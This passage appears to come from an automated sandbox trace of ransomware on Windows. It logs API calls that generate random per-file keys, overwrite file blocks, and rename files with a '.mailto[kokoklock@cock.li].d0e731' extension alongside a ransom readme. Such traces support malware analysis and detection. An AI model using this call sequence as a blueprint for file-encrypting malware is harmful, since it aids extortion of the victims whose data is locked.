dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.936] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423cb8 [0066.936] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0066.937] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423b50 [0066.937] NtQuerySystemTime (in: CurrentTime=0xe7bfa6c | out: CurrentTime=0xe7bfa6c*=132121176248308920) returned 0x0 [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0x41b2b68 [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0xac6af475 [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0x39ffcb9a [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0xa4057673 [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0x62d19691 [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0x705c1d51 [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0x7b2fff39 [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0xc62400af [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0xc24bf3d9 [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0x6cb0e872 [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0xc9bcb3f2 [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0x721b3f51 [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0x3c21d1c4 [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0x38700ad7 [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0xb3aeef7d [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0x34273be [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0xc2056ec0 [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0x8880e2b0 [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0xf1a5d14d [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0xaf91ecf9 [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0x9f957bd6 [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0x5ff1e08c [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0xaa45697b [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0xc38977fc [0066.937] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0x9239a618 [0066.938] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0xbd628253 [0066.938] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0xca8f57d1 [0066.938] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0x83746711 [0066.938] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0xef2232a2 [0066.938] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0xf51f3e15 [0066.938] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0x6176a5f0 [0066.938] RtlRandom (in: Seed=0xe7bfa78 | out: Seed=0xe7bfa78) returned 0xfe14d8ac [0066.948] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.949] ReadFile (in: hFile=0x3b0, lpBuffer=0x3486220, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xe7bfa2c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesRead=0xe7bfa2c*=0x4096, lpOverlapped=0x0) returned 1 [0066.980] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0066.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0066.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423c90 [0066.980] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423c90) returned 1 [0066.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0066.981] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423998 [0066.981] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423948 [0066.981] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423948) returned 1 [0066.981] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0066.981] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0066.981] WriteFile (in: hFile=0x3b0, lpBuffer=0x3475830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xe7bfa2c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesWritten=0xe7bfa2c*=0x4096, lpOverlapped=0x0) returned 1 [0066.981] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.981] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x40960, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.981] ReadFile (in: hFile=0x3b0, lpBuffer=0x3486220, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xe7bfa2c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesRead=0xe7bfa2c*=0x4096, lpOverlapped=0x0) returned 1 [0066.982] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x40960, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.982] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd4c0 [0066.982] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0066.982] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34239c0 [0066.982] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34239c0) returned 1 [0066.982] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0066.982] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423ad8 [0066.982] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d30 [0066.982] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423d30) returned 1 [0066.982] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0066.982] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd4c0) returned 1 [0066.983] WriteFile (in: hFile=0x3b0, lpBuffer=0x3475830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xe7bfa2c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesWritten=0xe7bfa2c*=0x4096, lpOverlapped=0x0) returned 1 [0066.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.983] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x7bf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.983] ReadFile (in: hFile=0x3b0, lpBuffer=0x3486220, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xe7bfa2c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesRead=0xe7bfa2c*=0x4096, lpOverlapped=0x0) returned 1 [0066.990] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x7bf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.990] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0066.990] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e98 [0066.990] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423bc8 [0066.990] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423bc8) returned 1 [0066.990] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0066.990] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423ab0 [0066.990] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423bc8 [0066.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423bc8) returned 1 [0066.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e98) returned 1 [0066.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0066.991] WriteFile (in: hFile=0x3b0, lpBuffer=0x3475830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xe7bfa2c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesWritten=0xe7bfa2c*=0x4096, lpOverlapped=0x0) returned 1 [0066.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.991] WriteFile (in: hFile=0x3b0, lpBuffer=0x3423998*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe7bfa88, lpOverlapped=0x0 | out: lpBuffer=0x3423998*, lpNumberOfBytesWritten=0xe7bfa88*=0x20, lpOverlapped=0x0) returned 1 [0066.992] WriteFile (in: hFile=0x3b0, lpBuffer=0x3423ad8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe7bfa88, lpOverlapped=0x0 | out: lpBuffer=0x3423ad8*, lpNumberOfBytesWritten=0xe7bfa88*=0x20, lpOverlapped=0x0) returned 1 [0066.992] WriteFile (in: hFile=0x3b0, lpBuffer=0x3423ab0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe7bfa88, lpOverlapped=0x0 | out: lpBuffer=0x3423ab0*, lpNumberOfBytesWritten=0xe7bfa88*=0x20, lpOverlapped=0x0) returned 1 [0066.992] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0066.994] WriteFile (in: hFile=0x3b0, lpBuffer=0x3423a88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xe7bfa90, lpOverlapped=0x0 | out: lpBuffer=0x3423a88*, lpNumberOfBytesWritten=0xe7bfa90*=0x8, lpOverlapped=0x0) returned 1 [0066.995] WriteFile (in: hFile=0x3b0, lpBuffer=0xe7bfaa8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe7bfa90, lpOverlapped=0x0 | out: lpBuffer=0xe7bfaa8*, lpNumberOfBytesWritten=0xe7bfa90*=0x4, lpOverlapped=0x0) returned 1 [0066.995] WriteFile (in: hFile=0x3b0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe7bfa90, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xe7bfa90*=0x4, lpOverlapped=0x0) returned 1 [0066.995] WriteFile (in: hFile=0x3b0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xe7bfa90, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xe7bfa90*=0x6c, lpOverlapped=0x0) returned 1 [0066.995] WriteFile (in: hFile=0x3b0, lpBuffer=0x3423d80*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe7bfa90, lpOverlapped=0x0 | out: lpBuffer=0x3423d80*, lpNumberOfBytesWritten=0xe7bfa90*=0x20, lpOverlapped=0x0) returned 1 [0066.995] WriteFile (in: hFile=0x3b0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe7bfa90, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xe7bfa90*=0x4, lpOverlapped=0x0) returned 1 [0066.995] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423d80) returned 1 [0066.995] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423b78) returned 1 [0066.995] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423a88) returned 1 [0066.995] CloseHandle (hObject=0x3b0) returned 1 [0068.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11e) returned 0x341de08 [0068.939] wcscpy (in: _Dest=0x341de08, _Source="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms") returned="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms" [0068.939] wcscat (in: _Dest=0x341de08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731" [0068.939] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tmcontainer00000000000000000002.regtrans-ms"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tmcontainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731")) returned 1 [0068.946] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x26) returned 1 [0068.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341de08) returned 1 [0068.947] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms", dwFileAttributes=0x26) returned 0 [0068.947] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x34812a8 [0068.947] wcscpy (in: _Dest=0x34812a8, _Source="C:\\Users\\Default\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0068.947] wcscat (in: _Dest=0x34812a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\Default\\D0E731-Readme.txt") returned="C:\\Users\\Default\\D0E731-Readme.txt" [0068.947] GetFileAttributesW (lpFileName="C:\\Users\\Default\\D0E731-Readme.txt" (normalized: "c:\\users\\default\\d0e731-readme.txt")) returned 0x20 [0068.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34812a8) returned 1 [0068.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcab0) returned 1 [0068.947] RtlExitUserThread (Status=0x1) Thread: id = 308 os_tid = 0x1348 [0063.586] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf")) returned 0x26 [0064.632] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", dwFileAttributes=0x20) returned 1 [0066.902] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0066.909] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0xe83fd84 | out: lpFileSize=0xe83fd84*=65536) returned 1 [0067.028] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.028] ReadFile (in: hFile=0x3a8, lpBuffer=0xe83fd58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe83fd54, lpOverlapped=0x0 | out: lpBuffer=0xe83fd58*, lpNumberOfBytesRead=0xe83fd54*=0x4, lpOverlapped=0x0) returned 1 [0067.046] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.046] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0067.046] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423b78 [0067.046] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423bc8 [0067.046] NtQuerySystemTime (in: CurrentTime=0xe83fd30 | out: CurrentTime=0xe83fd30*=132121176249403218) returned 0x0 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x52a06c97 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x64be3ce5 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x9016823b [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x61c3c23b [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x44e878c6 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0xe523e6c4 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0xa1623d08 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x17938397 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0xe4d2f461 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x26a4cdea [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x455e4900 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0xb2309115 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0xabcbc570 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0xaf7974c4 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x672834c6 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x4f729919 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x7afb0417 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x8e46bb13 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x74fa3cb5 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x853e7a28 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x1963f0cf [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0xfac1f258 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x7d1640de [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x1ebd2a4e [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0xd57952ce [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x571e991a [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x69862ccd [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0xe39dc118 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x85a75338 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x6ee8819c [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0xcec696c2 [0067.047] RtlRandom (in: Seed=0xe83fd3c | out: Seed=0xe83fd3c) returned 0x69e4387 [0067.058] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.058] ReadFile (in: hFile=0x3a8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xe83fd08, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xe83fd08*=0x4096, lpOverlapped=0x0) returned 1 [0067.063] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.063] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd088 [0067.063] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0067.063] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34239c0 [0067.063] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34239c0) returned 1 [0067.063] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0067.063] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423920 [0067.063] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423df8 [0067.064] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423df8) returned 1 [0067.064] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0067.064] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0067.064] WriteFile (in: hFile=0x3a8, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xe83fd08, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xe83fd08*=0x4096, lpOverlapped=0x0) returned 1 [0067.064] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0067.064] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x10000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.064] WriteFile (in: hFile=0x3a8, lpBuffer=0x3423920*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe83fd40, lpOverlapped=0x0 | out: lpBuffer=0x3423920*, lpNumberOfBytesWritten=0xe83fd40*=0x20, lpOverlapped=0x0) returned 1 [0067.064] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423920) returned 1 [0067.064] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0067.064] WriteFile (in: hFile=0x3a8, lpBuffer=0x3423c68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xe83fd54, lpOverlapped=0x0 | out: lpBuffer=0x3423c68*, lpNumberOfBytesWritten=0xe83fd54*=0x8, lpOverlapped=0x0) returned 1 [0067.064] WriteFile (in: hFile=0x3a8, lpBuffer=0xe83fd6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe83fd54, lpOverlapped=0x0 | out: lpBuffer=0xe83fd6c*, lpNumberOfBytesWritten=0xe83fd54*=0x4, lpOverlapped=0x0) returned 1 [0067.064] WriteFile (in: hFile=0x3a8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe83fd54, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xe83fd54*=0x4, lpOverlapped=0x0) returned 1 [0067.064] WriteFile (in: hFile=0x3a8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xe83fd54, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xe83fd54*=0x6c, lpOverlapped=0x0) returned 1 [0067.065] WriteFile (in: hFile=0x3a8, lpBuffer=0x3423b78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe83fd54, lpOverlapped=0x0 | out: lpBuffer=0x3423b78*, lpNumberOfBytesWritten=0xe83fd54*=0x20, lpOverlapped=0x0) returned 1 [0067.065] WriteFile (in: hFile=0x3a8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe83fd54, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xe83fd54*=0x4, lpOverlapped=0x0) returned 1 [0067.065] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423b78) returned 1 [0067.065] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423c40) returned 1 [0067.065] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423c68) returned 1 [0067.065] CloseHandle (hObject=0x3a8) returned 1 [0068.953] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd4) returned 0x347a720 [0068.953] wcscpy (in: _Dest=0x347a720, _Source="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf") returned="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" [0068.953] wcscat (in: _Dest=0x347a720, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf.mailto[kokoklock@cock.li].d0e731" [0068.953] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0068.954] SetFileAttributesW 